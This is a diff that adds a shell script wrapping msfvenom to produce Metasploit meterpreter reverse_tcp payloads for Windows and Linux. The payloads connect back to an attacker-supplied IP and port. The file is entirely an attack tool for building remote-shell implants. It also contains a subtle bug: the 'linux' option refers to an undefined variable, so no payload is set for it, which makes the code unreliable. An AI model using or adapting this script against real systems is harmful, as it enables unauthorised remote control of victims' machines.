|
@@ -0,0 +1,42 @@
|
|
|
+#!/bin/sh
|
|
|
+
|
|
|
+# scripts to create the most used meterpreter without much typing
|
|
|
+
|
|
|
+if [ $# -ne 3 ]; then
|
|
|
+ echo "[-] create_meter <platform> <ip> <port>"
|
|
|
+ echo "-> available platforms are: {win, win64, linux, linux64}"
|
|
|
+ exit 1
|
|
|
+fi
|
|
|
+
|
|
|
+
|
|
|
+# 32 bit payloads
|
|
|
+create_win_x86="windows/meterpreter/reverse_tcp"
|
|
|
+create_unix_x86="linux/x86/meterpreter/reverse_tcp"
|
|
|
+
|
|
|
+# 64 bit payloads
|
|
|
+create_win_x64="windows/x64/meterpreter/reverse_tcp"
|
|
|
+create_unix_x64="linux/x64/meterpreter/reverse_tcp"
|
|
|
+
|
|
|
+# default values
|
|
|
+payload=$create_unix_x86
|
|
|
+
|
|
|
+
|
|
|
+if [ $1 = 'win' ] ; then
|
|
|
+ payload=$create_win_x86
|
|
|
+ format="exe"
|
|
|
+elif [ $1 = 'win64' ] ; then
|
|
|
+ payload=$create_win_x64
|
|
|
+ format="exe"
|
|
|
+elif [ $1 = 'linux' ] ; then
|
|
|
+ payload=$create_linux_x86
|
|
|
+ format="elf"
|
|
|
+elif [ $1 = 'linux64' ] ; then
|
|
|
+ payload=$create_unix_x64
|
|
|
+ format="elf"
|
|
|
+fi
|
|
|
+
|
|
|
+ip="$2"
|
|
|
+port="$3"
|
|
|
+
|
|
|
+echo "[*] Creating meterpeter (payload: $payload LHOST: $ip LPORT: $port)"
|
|
|
+msfvenom -p "$payload" LHOST="$ip" LPORT="$port" -f "$format" -o "meter.out"
|